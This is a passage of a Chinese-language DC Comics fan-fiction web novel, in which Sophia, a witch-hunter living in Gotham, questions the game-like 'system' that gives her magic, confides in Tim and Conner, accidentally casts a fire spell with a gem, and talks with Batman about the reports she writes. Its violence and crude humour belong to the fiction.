飞车党里的成员大多也是些穷光蛋，在加入这个不太合法的兴趣小组之前，很多人都是在哥谭各种小店里拿着微薄的工资打工，老板愿意付工资都算好事，医疗保险则完全是异想天开。这群早早被社会抛弃的年轻人干脆聚在一起，那点少得可怜的工资不是用来换个稀奇的发型，就是用来养那些随时会散架的改装车。 铁头是飞车党最早的成员之一，他妈改嫁给一个修车的老头后没多久因为毒瘾发作死在了破旧的公寓里，老头不愿意养铁头这个和他没有血缘关系的小杂种，在某天晚上将铁头打的满脸是血提着裤子满屋子乱窜，生怕被捅了屁股。 在争执里老头拿扳手打破了铁头的脑袋，而铁头则拿水果刀将一向喜欢殴打自己和妈妈的老男人捅得浑身是窟窿，血液顺着窟窿喷射而出像喷泉一样，又像是用来浇花的花洒。 被扳手打了脑袋还能杀人，铁头因此得名。 一脸痘印的瘦子大家喊他前锋，据说这哥们天天吹牛说自己差点进学校的橄榄球队做了前锋，但看他那弱不禁风别人踹一脚都得骨折的样子，大多数人也当他磕大了在扯淡。但与瘦小外形不符的则是，飞车党最初让GCPD警觉起来的骑车抢劫的事，正是前锋所干。 那只手提包里最多也就三百块，却让前锋在少管所里坐了半年还被其他犯了重罪的少年犯打的跪地求饶。 飞车党的同伴大多为前锋的遭遇对GCPD深恶痛绝，却完全不提在抢夺过程里被前锋拿水果刀抹了脖子在大街上挣扎半个小时才死去的无辜老妇人。 而这群还没进入社会就被踢出社会的小混蛋们跑到了郊外，却有了其他头疼的问题——钱。 一文钱难倒好汉的事在哥谭不算少见，就算是再厉害的反派炸了阿卡姆出狱后的第一件事也得为钱奔波，找一位乐于投资犯罪事业的天使投资人，不然小丑靠什么完成犯罪计划？难道靠对蝙蝠侠扭曲到要毁灭对方的爱用爱发电吗？ 几个年轻人缩在从垃圾桶里抛出来的还带着泔水味的帐篷里被寒风冻得瑟瑟发抖，像是卖火柴的小女孩一样马上就要冻得见到在棺材里躺了几十年的奶奶，就在这时一片荒芜的公路上突然出现了光亮。 “那是从天堂来接我的奶奶吗？” “放屁，那是摩托车的灯，哪来的天堂。” “哪个混蛋不知道这里是我们的地盘啊，兄弟们出去给他点颜色看看。” 话虽这么说，大家伙磨蹭了半天才愿意从稍微暖和些的帐篷里探出头，也就是这一看飞车党的命运改变了。 属于豪华摩托车特有的如同野兽咆哮一样的发动机运作声，肉眼完全无法捕捉到的运动轨迹，以及不出片刻就只能留下一个身影的高速驰骋的身影，这一切足够这群还没度过青春期的家伙兴奋的发出返祖猿猴一样的叫声。 “我操，好牛逼的车，这是蝙蝠侠吗？” “锤子的蝙蝠侠，脑袋上没有尖尖就不是蝙蝠侠，那肯定是其他牛逼人物。” “哥们，他骑的什么车啊，这跑的比飞机都快。” “杜卡迪，我之前见过杜卡迪就长这样，跟咱们这些破烂完全不一样。”跟着修车老头勉强算得上见多识广的铁头给出了答案。 这群见到偶像的家伙顾不得寒风凛冽，就骑着车想要追上偶像，不说别的合影签名，哪怕近距离见一面让这帮年轻人去死都行。 于是，路越跑越远，寒风也越来越大，耳光一样扇在人脸上，让铁头想起来老头似乎曾经也这么扇过自己，但现在完全不同，自己跟在偶像身后，他一定要看看偶像的模样。 可惜那些破烂车实在拉跨，还没跑出多远就一个个因为没油停了下来，铁头即使把油门几乎从车上拽下来也没能追上那个身影，一群人只能继续顶着寒风挂着鼻涕把车推回去。 等到了第二天，偶像又出现了，整个营地没有一辆车有油，铁头只能看着偶像从马路旁经过。 铁头咬着牙进城打了一个星期黑工，终于攒够了加油的钱，于是第三天他追了上去，只是依旧没能追上。 “你说，我们要是以你偶像作为噱头搞个比赛怎么样？一个人报名费200，咱们多找几个人，奖金按照一千块发，这样还有得赚。” “哪来的奖金？咱们去偷吗？蝙蝠侠打人可疼了，我可不去惹麻烦。” “报名费啊，你算算帐假如二十个人参赛报名费就有四千块，就算偶像输了咱们还能挣三千，稳赚不赔。” 一群人埋头商量了半个小时，就拍板确认了这个充满希望的让飞车党重振旗鼓的伟大计划。 几人在骑士常出没的地址蹲了一个星期，确认了那道影子出现的具体时间和地点，并把那个地方定做了起点，按照计划那条公路到头也就三十公里，来回四趟差不多能凑够比赛的长度。 当然比赛开始前，铁头拿破车试着在起点的位置跟着影子跑了几趟，发现对方虽然神出鬼没但是没有什么攻击行为，几人这才放下心来。为了有足够的噱头，他们用偷拍到的影子骑车照片和视频发布在论坛，并提出了挑战，挑战骑士。 于是在元旦那天，他们赚到了第一个四千块。 不久，五千，六千，一万，两万，飞车党赚了个盆满钵满，直到现在。 关于骑士的信息，前锋死活说不出更多了，但这部分资料完全不足以解释骑士的情况，索菲亚跟着蝙蝠侠把飞车党内的人问了个遍终于得到了新的情报。 据自称为铁头的成员说，自己在老头那里听说过，老头曾经给一个想要骑着高配杜卡迪环游美国的富家子弟保养机车的时候动了手脚，本来想着让对方不得不回来接受贵了几倍的修车服务。 但没想到那位富哥在离开哥谭的路上出了车祸，超过200公里的时速没给对方留下哪怕一点生路，而唯一有希望救下他的车闸则被利欲熏心的老头剪断。 “所以他说的是真的吗还是编出来的故事？” 索菲亚一边把故事的关键词记在随身携带的本子上一边问蝙蝠侠。 “GCPD的案件库里没有这起案子。” “所以是假的？所以骑士就是莫名其妙出现的东西咯。” 失去了水字数素材的索菲亚只能遗憾的收起了本子，用余光观察蝙蝠侠的表情。 “不过这样的事也不算少见就是了，所以这算是结案了吗？” “记得交报告。”冷酷无情的蝙蝠侠甩下这句话，就把迷茫的索菲亚留在了蝙蝠洞内，自己则换上制服开着蝙蝠车“轰隆隆”的离开了，非常过分。 用蝙蝠侠提供的全新的电脑一个字一个字写报告的索菲亚怀着满腔愤怒终于写完了报告，顺手发给了蝙蝠侠，正要成为阿福嘴里这个家作息最健康的编外人员时，收到了属于罗宾的回复。 “B说你写的像，让你重写。” “我不写！” 猎魔人骑车逃走了。 70-80 第71章 把蝙蝠侠的话当耳旁风连夜骑车回家还顺手掏走了家里最后一份小甜饼的猎魔人打开公寓大门, 就看到了一片漆黑中恨不得把整个人塞进冰箱找饭吃的搅局者。 至于为什么是义警搅局者而不是索菲亚的好朋友斯蒂芬妮，自然是因为还带着对方脸上的多米诺面具和堆在地上像是长裙裙摆的紫色披风，哦对, 还有对方的鞋底在回家路上经过水潭没有擦干就钻回家，结果就是留下了一地的水痕。 “原来你还知道回家啊。”索菲亚一把关上门，打开了客厅的灯“我以为你要和芭芭拉过一辈子了。” “亲爱的你怎么会这么想, 我还是爱你的。”有着金发的少女从冰箱里拿出来被打开过的果汁拧开盖子后直接喝了下去“好冰！” 索菲亚把头盔扔在地板上, 一边往浴室走一边脱掉身上的衣服，当然，不是那件完全被汗水打湿的机车服。刚进入韦恩庄园，阿福就给索菲亚提供了一些舒适的换洗衣服, 据说是芭芭拉以前放在庄园内的衣服, 经过本人同意后才拿给索菲亚。 而现在索菲亚将属于芭芭拉的那身纯棉t恤和牛仔短裤塞进了洗衣机, 打算洗干净之后还给对方。 “你有衣服要洗吗？我这就两件衣服开次洗衣机好浪费。” “等等，马上。”斯蒂芬妮放下果汁的盒子，把放在自己房间的脏衣篮端了出来“我好几件衣服要洗结果太忙了完全忘了这些事了, 让一让叫我塞进去。” “等会还要洗我的机车服, 好难。”索菲亚半蹲在洗衣机前转动按钮选择合适的模式后才按了确认键“你明天还要出门吗？” “我手里的案子已经结束了, 明天我可以在家躺一整个白天。”斯蒂芬妮重新爬回餐桌上打开索菲亚打包回来的小甜饼往嘴里塞“复学的事也处理好了，顺利的话等开学我们还能做同桌。” 索菲亚点了点头拿好浴巾刚要走进浴室, 脑子里慢了半拍才开始处理斯蒂芬妮的话, 突然被关键词提起了精神。 “等等, 你不是也升学进高中吗？” “不是啊, 我本来就已经上了高中了。”斯蒂芬妮顺着声音看向索菲亚，两个人隔着客厅对视, 眼神里都是尴尬“我以为你知道。” “你没说过！绝对没有！” 眼睁睁看着本该同龄的好朋友莫名其妙大了一岁的索菲亚带着满腔不甘还是把自己送进了浴室, 热水通过花洒淋在少女因为用机车玩极限运动被磕的青青紫紫的后背上, 顺着皮肤落在地上沿着下水道流走。 这次洗澡比几个小时前在蝙蝠洞内的那次好了不少，那会脱下了机车服的猎魔人因为磕碰留下的血迹已经干涸后凝固在了皮肤上，索菲亚几乎是把那些血块从身上撕了下来还顺便把已经结痂还没愈的细碎伤口扯得更大了些，热水混合着黑红交错的血液将淋浴间衬托得像是杀人分尸后的犯罪现场。 结束了淋浴的索菲亚没有裹上浴巾，而是直接走到了镜子前侧头观察伤口恢复的情况。这具身体所使用的药剂还是索菲亚熟悉的半成品效果，比起利爪那种肉眼可见的恢复速度，索菲亚的伤口恢复速度如果拍成视频来记录回看的时候也得放到二十倍速才能达到利爪那惊人的愈合速度。 当然另一件一直被索菲亚深埋在心底的事，也终于有了思考的时间。 如果说二十年前索菲亚就已经在失去意识的情况下到达了哥谭并且在最近才恢复意识的话，那么这二十年内自己一点长大的迹象都没有吗？除去应该增长的身高体重没有变化以外，就连青春期该有的有关性征的发育，索菲亚也没看到一点变化，因而家里唯一会来月经并且会因为激素变化而情绪波动的人只有史蒂芬妮一个。 虽然月经也不是什么大家都会喜欢的东西，但隐藏在背后的关于药剂的问题才更为棘手。 除去自己，索菲亚唯一认识的使用过药剂的只有猎魔人笔记的主人爱德华，他十岁因为一场火灾失去了一切亲人，自己也在这场意外中全身烧伤险些因为器官衰竭丧命，也就在这时一位炼金术士找上了他为他提供了能够将普通人转化为猎魔人的青草药剂救了他的性命。 药剂改变了爱德华的外形和身体素质，并为他增加了使用魔法的天赋，但是在发育期内爱德华身上并没有出现延迟发育甚至是发育完全停止的情况，对方靠几乎无底洞一样的饭量把自己从一米三的小矮子喂到了一米九，身体上的性征也基本按照正常的规律进行发育。 这么说似乎也可以理解为是审判庭手里的半成品药剂出了问题，可是索菲亚还没上小学就接受了药剂，为什么一直到了十五岁的时候才停止成长进程。 这些问题对于早早脱离老东家的小孩来讲实在难以理解，但是现在自己莫名其妙出现在哥谭并且无法联系上自己过分靠谱的监护人，而另一位对药剂有足够了解的前人渣导师阿尔伯特在原先的世界早就下落不明，说不定重开之后已经子孙满堂了。 另一件事则是关于使用魔法的问题，索菲亚在意识到系统出现问题后除去抄笔记会打开系统，其他时间基本没有通过系统来使用魔法，而系统也一直保持挂机模式，仿佛一人一统之间隔着八个地球的时差一样，有时索菲亚催它更新新的笔记内容，往往需要两三天才能够得到回复。 像是索菲亚无所事事的时候没话找话的闲聊内容，过去几乎能够秒回的系统，如今也得不定时的等上很久，运气好点三四个小时，运气差点两三天就过去了，让索菲亚感觉梦回在网络上扔漂流瓶的时代。 不过笔记却更新到了惊人的速度，比如索菲亚之前抄的笔记来自爱德华的手笔，这位出道几年内迅速混成资深猎魔人的前高材生的笔记内容除去遇到的怪物和任务报告外，就是一些非常传统的猎魔人的捕猎技巧。 比如利用药草来短暂的使用一些有特殊效果的秘法，但大体没有什么太大的杀伤性，更多还是依靠自身的武艺来战斗。 而现在的这份笔记则是完全不同的风格，用词更加严谨理性，内容虽然也记载了一部分所遇到的怪物以及背后发生的事件，但更多的还是对于魔法的收集以及改良，比如索菲亚在系统里只能固定使用的三种类型的魔法，火焰，冰冷和雷电。 根据这些内容，索菲亚足够判断出来这份笔记一定是出自于自己那个过分靠谱的监护人，同时也是自学成才的法师伊芙琳。 据伊芙琳自己说，她的魔法天赋烂得要死，勉强摸到了能够使用魔法的门槛，但本身对于魔力的感知和使用连合格的标准都达不到。 于是这个一生好强的三流法师翻遍了一切能够查阅到的有关魔法的书籍，选择用能够储存和调用魔法的宝石作为媒介使用魔法，并对过去的魔法进行一定程度的调整，放大了这些技法的威力。 索菲亚自己都怀疑，伊芙琳平时肯定没少看那部经典动画《命运今晚留下来》从其中的角色身上来了灵感。 于是小猎魔人对着笔记上监护人记载下来的魔法，尝试绕过系统直接发动，当不借助任何媒介就在空气中点亮荧光时，索菲亚意识到或许不是系统出了问题，而是自己莫名其妙的拥有了使用魔法的天赋。 那么系统为什么在几乎不收取代价的情况下将这样一份无比珍贵的天赋赠予给索菲亚？仅仅是因为索菲亚是它的宿主吗？还是说那些被收集起来上交的能量已经远远超过了这份天赋的价格？ 索菲亚实在难以相信世界上会有掉馅饼的好事，除非系统还想要得到更多的东西。 那么它会想要什么？是通过颁布任务让索菲亚对这个拥有超级英雄的世界产生影响从而实现对方统治世界的目的吗？ 可是系统已经很久没有发布过任务了，连基本的对话都少得可怜，像是什么白天努力工作晚上还要兼职做兼职的社畜一样。 以及最后一个也是至关重要的问题，系统最终能带来的奖励是什么？ 网文中有一类经典的系统文，这些系统往往从一开始就会告诉宿主最终的大奖，要不然是获得无穷的力量成为强者，要不然获得财富成为人上人，或者在有些女频文里获得那些完美男主的爱情过上幸福的生活。 可是回忆起和系统相处的日常，索菲亚只记得对方的目的是要让自己成为独当一面的猎魔人。 看起来似乎像是什么职业指导系统，并引导宿主不断做任务在职业道路上升级的传统系统文，但是系统明明有更加重要的筹码，也就是对索菲亚而言更重要的回家，而不是选择一个对于索菲亚可有可无的职业目标作为诱饵，吸引索菲亚上钩。 至少在索菲亚看来，目前这个成为猎魔人的目标自己随时可以放弃，而如果最终目的是回到原先的世界，或许还更有一点诱惑力。那么代价呢？放弃任务的代价又是什么？ 在浴室里干瞪着眼思考系统问题的索菲亚几乎站的脚麻，才被斯蒂芬妮敲门的声音唤醒。 “你好了吗索菲？我也想洗澡。” “我好了，你直接进来就行。” 索菲亚收回思绪，用浴巾将自己包好走出了浴室，把系统的事重新丢在了大脑内那个不那么重要的区域把自己摔在了床上。 明天试试暗示给提姆听吧看看他有什么解决办法。 从蝙蝠洞出来的脑子肯定比自己的好使。 第72章 傍晚时分, 索菲亚好不容易从梦里挣扎出来，在床上呆坐了片刻才想起来今天要做的正事。 第一自然是需要同步自己身上有关魔法的情况给蝙蝠侠，看看对方有没有什么手段能够搞明白自己身上到底发生了什么导致出现麻瓜一夜变巫师的医学奇迹。 第二就是关于系统的事, 系统现在半死不活的样子让一直没心没肺的索菲亚都难得的担心，要是系统真的出现问题后续给发布些丧尽天良吃小孩杀女人草男人的任务，自己不敢想象会不会被蝙蝠侠打成半身不遂。 索菲亚重新打开只有自己能看到的系统界面, 确认无论如何都没有有关保密协议的条款后, 坚定了要告诉蝙蝠侠以获得退路的决心。 哈哈，骗人的，有条款也说，有本事让系统劈死我。 在冰箱里翻箱倒柜的找吃的好不容易找到之前买的一袋吐司, 直接拆开包装蹲在冰箱前就着冰牛奶开始进食。 等到把手里的食物都吃完了索菲亚才观赏冰箱开始换衣服打算直接顺着小路冲进蝙蝠洞, 趁蝙蝠侠还没开始夜巡就给他一点小小的法师震撼。 进入蝙蝠洞的时候看得出来大家情绪还不错, 没有被夜巡和加班折磨的满地乱爬，提姆甚至趁布鲁斯不在拿蝙蝠电脑开了把真人快打，只是罗宾身旁跟他一起挤在电脑前的还有一个索菲亚有点陌生的身影。 从背影看那是个比提姆健壮的多的少年, 红蓝色的紧身衣外还套了件黑色皮夹克, 看起来很有自己对于制服的美学要求, 从上到下索菲亚唯一不能接受的只有对方过分潮流的莫西干头。 “嘿小罗放弃吧，你赢不了我的。” “这可不一定。”索菲亚的偷情对象没有回头全身心沉浸和朋友在电子世界1v1的精彩battle之中“话说得太早了。” 索菲亚双手环胸站在阿福身边小声问道。 “他俩的症状持续多久了。” “事实上从少年正义联盟的任务结束后, 提姆少爷和康纳少爷就在进行友好交流了。”一头银发但精神矍铄的管家将手里整齐摆放着刚出炉还散发着鸡蛋和黄油香气的纸杯蛋糕的托盘放在了桌子上, 一直跟在管家身后等待投喂的索菲亚这才伸手拿起其中一个。 “索菲亚小姐, 希望你有保持健康的作息, 而不是跟一些大人一样极力缩短自己的睡眠时间让自己每天都在猝死的边缘徘徊。” “我只是睡觉的时间奇怪，但我有睡饱再起床的。”索菲亚一口咬下洁白松软的奶油说话都有些含糊“B今天有调查吗？他平时的宴会不是能不去就不去吗？” “老爷最近在调查一起宝石走私案。”阿福没有多说但索菲亚已经猜到了剩下的意思。 不愧是只有和夜间工作挂钩才会想起来自己是哥谭阔佬的男人, 眼里没有一丝对于金钱的迷恋, 只有对调查案件的执着。 索菲亚吃到第二个蛋糕的时候, 两个少年的对决终于结束，罗宾熟练的关掉了游戏转了过来。 “晚上好索菲亚，这是超级小子康纳，是我在少年正义联盟的队友。” “你好康纳。”索菲亚还没反应过来就感受到对方一瞬间放空的眼神投来，但眼神里没什么恶意，少年很快便恢复成随和活泼的样子飘了过来。 “你的心跳速度好慢，血液流动速度也比其他人慢了很多。” “可能因为我是从霍格沃兹毕业的巫师吧，和普通人有不一样的地方不是很正常吗？” 索菲亚干脆顺着康纳的话往下编故事，脸上的表情显得无比真诚。 “哇塞，那你和我见到的巫师完全不一样呢。” “一定是物种差异。” 话题一打开，两个人开始吐槽hp和巫师系列的对于巫师之间巨大的差别，像是hp系列的巫师必须拿魔杖才能发动魔法，但康纳在大都会和各路牛鬼蛇神一一斗法后发现有些法师使用魔法根本没必要在手里拿根小树枝就能冲着氪星人的脸搞点神奇小魔法。 至于巫师系列更不用说，杰洛特本身比起巫师更偏向猎人的设定，魔法也只是起到一个辅助的作用，和蝙蝠侠平日里万能腰带里的神奇小道具作用差不多。 提姆只是半分钟没有插入话题，就只能眼睁睁地看着话题从巫师扯到哈利波特再到杰洛特为什么随便一个小坡就能摔死，又到了CDPR里强尼银手怎么骂着脏话炸荒坂塔，话题变化之快让没那么沉溺电子游戏的乖小孩缓缓打出一个问号。 “好了好了停一停停一停，谁还能记得被你们排挤在话题外的我。” 少年站了起来拿起纸杯蛋糕分别塞进正在激情交流的两位相见恨晚的同好嘴里实现手动闭麦的效果，看向索菲亚。 “出什么问题了吗？” “唔嗯？为什么这么问？”索菲亚顺手把身子倚靠在罗宾坐着的椅子侧边，拿手反复拨动少年用吹风机吹的蓬松柔软的头发。 “第六感？”提姆仰起头没有拒绝索菲亚手上的动作“我觉得我还算了解你。” “实际上，我的魔法出现了一点点问题，我想看看蝙蝠侠有没有什么解决办法。” “说说看？” 索菲亚便开始解释有关药剂，猎魔人以及魔法的关系，以及自己身上的不完全药剂带来的一些负面影响，比如没有使用魔法的基础天赋，以及现在没一点长大的迹象。 “你根本不知道这有多严重提米，要是我一直都是未成年的话，我们只能柏拉图谈一辈子了，不然你会因为和未成年发生关系被抓进去的。” 提姆一口咖啡喷了出来，还好只是洒在了地上没有喷到造价昂贵的蝙蝠电脑上，但还是得到了阿福不赞成的眼神的问候。 “我们还是聊聊魔法的事吧索菲，如果说你之前并没有能够使用魔法的能力，那你是怎样发动魔法的呢？” “是一个类似游戏系统的东西，我可以直接和它沟通，并且通过完成任务来兑换魔法使用，最初还需要根据选择的魔法威力不同等一个冷却时间。” 索菲亚停了下来，却没感受到任何的不适，也没听到系统的任何提醒，于是继续说了下去。 “我醒过来之后系统就在我身边了，我之后的行动都是跟着任务的进度走的，只是在某个节点开始系统发布的任务就少了很多，要求我自己来寻找怪物。” “那它有告诉你任务的最终目标是什么吗？”提姆沉思片刻提出了疑问。 “成为猎魔人。”索菲亚不用多加思考就给出了回答“虽然我觉得我本身就是猎魔人了。” “这很酷诶，绑定系统走上猎魔人道路，感觉是社媒上超级火的套路，不过按照接下来的剧情就是要发现系统的阴谋之后勇敢反抗系统了。” 康纳凑了过来蓝色的眼睛再次放空凝视着索菲亚。 “但是索菲亚，根据卢瑟的研究来看，能够和人脑内交流的系统大多作用在人的大脑区域，卢瑟旗下的实验室之前也研究过几个据说拥有系统的一夜之间拥有异能力者，其中大多数人都是通过纳米机器人实现获取异能力的效果。” “但有关人为植入系统的实验成功率极低，幸存者即使移除了系统，大脑也还是不可避免地受到了损伤，也就是说只要是科技手段的系统一定能够通过观察大脑构造进行识别。”康纳停顿了片刻继续说道“但我没有在你的大脑看出任何被系统寄生后的特点。” 得到了回答的索菲亚点了点头。 “这样啊，还是谢谢你康纳。” 索菲亚坐在椅子上在蝙蝠洞里四处乱滑看提姆拿清洁工具处理刚刚被喷出来的咖啡，过了一会超级小子扛着罗宾离开了蝙蝠洞并顺手把罗宾放在了布鲁斯参加晚宴的建筑顶层后便摆摆手离开了。 通讯系统里听来不及跑路的布鲁斯在晚宴上遭遇了，原本想抢走展示用的宝石却突然意识到布鲁斯韦恩要更值钱，所以临时改变犯罪目标的绑架犯。 因为要保持人设所以不得不束手无措的被捆了个结实的蝙蝠侠，在众目睽睽之下只能保持哥谭傻白甜阔佬的优良作风，求饶时语气里的惊恐和柔弱让索菲亚趴在椅子上笑得几乎翻倒在地板上，快要赶到现场的搅局者没有开麦交流，估计正在哪个地方捧着肚子笑。 不出片刻罗宾就顺利切断了电源将那几个绑匪挨个毒打了一顿，而快速完成变装的蝙蝠侠挥出的拳头力度听起来都比平时格外大了几分，接近收场的时候搅局者才姗姗来迟帮忙把或多或少断了几根骨头的绑匪捆了起来。 只是离开时，蝙蝠侠顺走了那几颗被当作目标的宝石。 索菲亚看着画面里的宝石总觉得有些熟悉但是又说不上来，只能等到蝙蝠侠回到蝙蝠洞再说。 好在今晚的哥谭算不上多灾多难，趴在做后勤工作阿福身边几乎要睡着的索菲亚终于在后半夜等到了身上还带着潮湿露水的两位义警。 “早点休息，明天我带你去检查。”还穿着制服的男人一眼扫过，顺手将腰带里被储存完好的宝石拿了出来。 “这宝石很特殊吗还要特地拿回来？”索菲亚发出质疑凑到了宝石面前。 说实话这些算不上质量非常好的宝石，大多都是些品质一般的蓝宝石，绿宝石零零散散还有几颗卖不上价的欧泊，但是索菲亚就不自觉的感受到这些宝石的不同并忍不住凑近观察。 捏起被单独装在袋子里的欧泊，索菲亚半开玩笑地说道。 “总不能这些宝石和我监护人手里的一样，随便说句燃烧就会原地放火魔法吧。” 话音未落，欧泊在袋子里顷刻间碎成了好几块，随着而来的便是自指尖爆发而出的火焰，好在威力不大刚有燃烧的迹象就被蝙蝠侠扑灭，而破碎的石头完全失去了对索菲亚的吸引力。 这时索菲亚才想起来，监护人以前喜欢用的好像也是这种带有一定魔力的廉价宝石放魔法。 原因似乎是便宜。 环顾四周，来自蝙蝠侠和阿福两种不太相同但都不太赞同的眼神格外刺痛，索菲亚用手遮住了脸。 “对不起我再也不在蝙蝠洞玩石头了！” 第73章 索菲亚知道自己在做梦。 毕竟怎么会有人几个小时前还躺在韦恩庄园舒适凉爽的客房里, 现在却在水池里激情喝水。 眼前一片朦胧，似乎有光传来，但眼皮却像是拿订书机钉上了一般难以抬起, 身体更是跟断线了一样感受不到一丝联系，只是通过身体的本能来维持生机。 因而，散发出仿若硫磺气味的泉水顺着鼻腔口腔被灌了进去, 将被困在身体里的灵魂死死的按在一片死寂之中。 索菲亚很清楚这是一场梦, 她从来没有在长时间失去身体控制能力的情况下被放置在水池里的经历。虽然还在猫头鹰身边的时候接受过针对水刑的训练，但大多数时候也只是将脑袋按在水里而非将整个人都泡在里面。 现在是什么情况，之前发生了什么？为什么自己会突然出现在这么一个陌生的地方？这些问题的答案索菲亚一概不知，只是继续在一片死寂里被人为闭上了视觉系统, 只依靠其他感官来对周围的事物进行判断。 有风吹过的声音, 风算不上小, 几乎是呼啸着进入了这片位置的区域，且带有一些不断回荡在空荡空间中的回声，那声音很近且过分清晰, 即使那阵风被水池所隔绝, 索菲亚也可以断定这并非一个密闭区域, 且大概率位于野外，或许是一场山洞？ 没办法睁眼, 没办法爬起来, 没办法醒过来, 只能在不知道在什么地方不知道干不干净的水池里cos植物人的体验实在烂的透顶。索菲亚觉得自己几乎要被泡成巨人观了, 才终于被人捞了出来。 那人的手法过分的不行，将泡在水池里的倒霉蛋当垃圾一样扔来扔去, 如果去做快递员恐怕一周就能吃满足够离职的投诉。 但是从短暂的接触里, 索菲亚的手无意间触碰到的那熟悉的凯夫拉纤维上那只由特殊金属铸造而成的猫头鹰脑袋, 那颗本就跳动缓慢的心更是凉的透顶。 作为猫头鹰的门徒，索菲亚完全想不出对于被自己一手背叛的导师说些什么？被扒去了猎魔人身份的小猫头鹰此时第一次庆幸自己的身体没有醒过来，至少不用真的面对那个从头到脚都让人不舒服的男人。 索菲亚曾无数次想象过再次遇到阿尔伯特的场景，或许自己会恐慌到痛哭流涕，又或许曾经的小猫头鹰顺着前辈指引的道路也成为了能够独当一面的猎魔人，再次见面时自己情绪稳定的杀了对方报仇，就像自己在离开审判庭前最后一次动手是杀了某个在组织里完全不起眼的成员一样。 但这些也都是些离开审判庭才会有的幼稚想法，那个时候自己在想什么呢？ ——不知道。 索菲亚几乎记不起任何那时的感受，她记得每个被杀死的任务目标的脸，随便一个任务的时间地点手法都在脑子里可以随时被找出来，可是那时的自己在想什么却在大脑里没有一丝线索，就连痛苦，不适这样苍白的标签都没能留在大脑之中。 打破索菲亚被溺死在情绪里的是来自身体被折叠起来的不适感，双手被摆成环抱住双腿的姿势，头部微微下垂，接下来就是拉链划过的声音。接触到身体的是法兰绒的毯子的质感，那是那个家里妈妈唯一有权力买回来的东西，索菲亚对于这种织物的质感过分熟悉以至于突然起了困意。 阿尔伯特似乎在调整仍处于昏睡中的索菲亚的姿势以确保能够将人完整的塞下，接下来便是塑料制品被合上后拉链被重新拉上的声音。 行李箱，阿尔伯特，不省人事的少女。 索菲亚突然从脑内搜刮出前不久林肯马奇的叙述，只是没想到这段回忆会以这样的情况出现。 索菲亚静静的等着，直到这片黑暗在阳光之下变得越发稀薄，直到一阵敲门声将索菲亚重新拉回人间。 “索菲亚你醒了吗？” 终于夺回了身体主动权的索菲亚睁开眼睛，摸索着爬下床打开了房门，看到了熟悉的身影。 “阿福做了早饭，或许你想——” 话音未落，索菲亚就将人扯了过来抱在怀里，头自然而然地靠在来人的肩膀上。 如果是几个月前，提姆或许还会有些不知所措，但是现在少年不仅熟悉了这些亲密接触，甚至能够自然的回应少女的动作，同样用手环住了对方。 皮肤接触之处的温度有些炙热，放在普通人身上还算正常的温度放在索菲亚身上就显得极度异常，提姆等着索菲亚结束这个拥抱后才用手背贴在对方的额头上试了试温度。 “你放心，我没有发烧，只是做了个梦。” 金色的圆眼睛里顷刻间充满了活力，看不出一丝生病的迹象，将提姆生平第一次踹进了爱河的少女就穿着白色的带着褶皱的睡裙背着光站在提姆身前，抓着少年的手从脑门摸到脸颊，又顺着身体触碰到颈侧的大动脉，感受血液汩汩流过所带来的生机。 “噩梦吗？或许能跟我讲讲？” “我梦到蝙蝠侠变成二十米高的哥斯拉把全世界都炸了。”不知道怎么描述有关阿尔伯特的事情的少女干脆继续开始睁眼说瞎话“他一脚就把阿卡姆踩烂了，然后我就被他抓住了他没杀我，而是把我关起来让我一直写报告，写了二十版之后他说要第一版。” “听起来像是什么恐怖片。” “对啊，所以把我吓得立马就醒了。” 索菲亚松开提姆的手探出头做贼一样左右看了看，确认当事人不在才继续蛐蛐这个家真正的主人。 “你说我拿GPT跑报告他看的出来吗？” 提姆的笑容更加灿烂吐出了让索菲亚想原地吊死的话。 “索菲，我猜你想知道最近的监听器离我们只有不到一米的距离，你现在蹲下来就能在门框旁边摸到它。” 索菲亚愣在原地，机械的关上了房门，看着提姆都是坏心思的帅脸消失在眼前。 好坏的罗宾，小坏鸟。 当蝙蝠翼离开蝙蝠洞已经飞翔在万里高空之上时，索菲亚还在低头整理自己的安全带。 你看这安全带，怎么这么安全啊。 两个人都像是从系统里卸载了语言功能，一向废话很多喜欢编故事的索菲亚恨不得拿夹子把嘴夹起来，而前方那个驾驶位上的黑色身影的注意力全都在放在开飞机上。 “咳咳。”努力发出点声音的索菲亚没能得到蝙蝠侠的一点关注只能用手在裤子上模仿苍蝇搓手。 “水在座位下面。”这时前方的座位恰到好处的发出低沉的提示，让索菲亚怀疑蝙蝠侠是不是就这么一直竖着耳朵听后面的动静。 索菲亚从安全带里钻出来，果然摸到了沉甸甸的塑料手感，摸出来一看果然是预料中的瓶装水，只是标签上印了只蝙蝠的图案。 “这算什么蝙蝠水吗？喝了会被捡走变成罗宾吗？” 终于找到话题切入的小猫头鹰捧着水瓶开始在略微宽敞的蝙蝠翼里转圈。 “所以我们要去哪？瞭望塔吗？我还没去过太空。” “北极，超人知道了你的情况愿意帮忙做这次体检，只是我联系的那位魔法师得过几天才能到，有关魔法的检测还要过段时间。” “所以超人的秘密基地在北极？哇塞，那他会和北极熊打架吗？” “不会，他是个动物保护者。” 索菲亚趴在窗户上看着机翼之下的厚实的云层以及云层之上的太阳，嘴里不断发出没有见识的小孩会有的惊叹声。 “我之前见到超人了，他看起来一拳能打死一个利爪，但是又没有那种很凶的感觉。” “很凶的义警有一个就够了。” 索菲亚的头顶投下一片阴影，抬起头就能看到戴着面具的蝙蝠侠那个足够英俊的下巴。 “我觉得我们需要谈谈索菲亚。” “你知道这样显得你很凶吗？小朋友看到会吓哭的。” 索菲亚转过身看着凯夫拉制服上那个硕大的蝙蝠标志开启了对话。 “我觉得我报告写的挺好的，前因后果都有不是挺好的，就算遗漏了一些细节也没关系，反正最后结果是好的，我处理了问题这就够了不是吗？” “我没有否定这部分。”那双钢蓝色眼睛里满是认真看不出属于哥谭甜心在宴会上一点戏谑的表现“我想看到的是你的想法。” “我能有什么想法？骂那些人胆大包天连幽灵都敢招惹吗？”索菲亚的眼神仍旧停留在那只大蝙蝠上，忽视来自他人的注视。 “我接触的罗宾中提姆是最理性的那个，即便如此他也会在早期的报告里展现出他的看法，更不用说性格更活泼的迪克，那时候他没少在报告里吐槽对手难对付。还有杰森，或许你不太熟悉，他是个勇敢的孩子，在报告里我总能看到他因为共情受害者而带来的愤怒。”男人顿了顿继续说道。 “可是索菲亚，我看不到有关你的看法，你只是把我当作了你的上司，或许在我们不知道的过去里，曾经有人把你当作工具，抹杀你的情绪和想法，所以你习惯了逆来顺受的生活。” “我看的出来，你不擅长思考，因为在过去你不需要思考，只需要按照指令完成任务就好，对于工具而言过度思考只会难以掌控。” 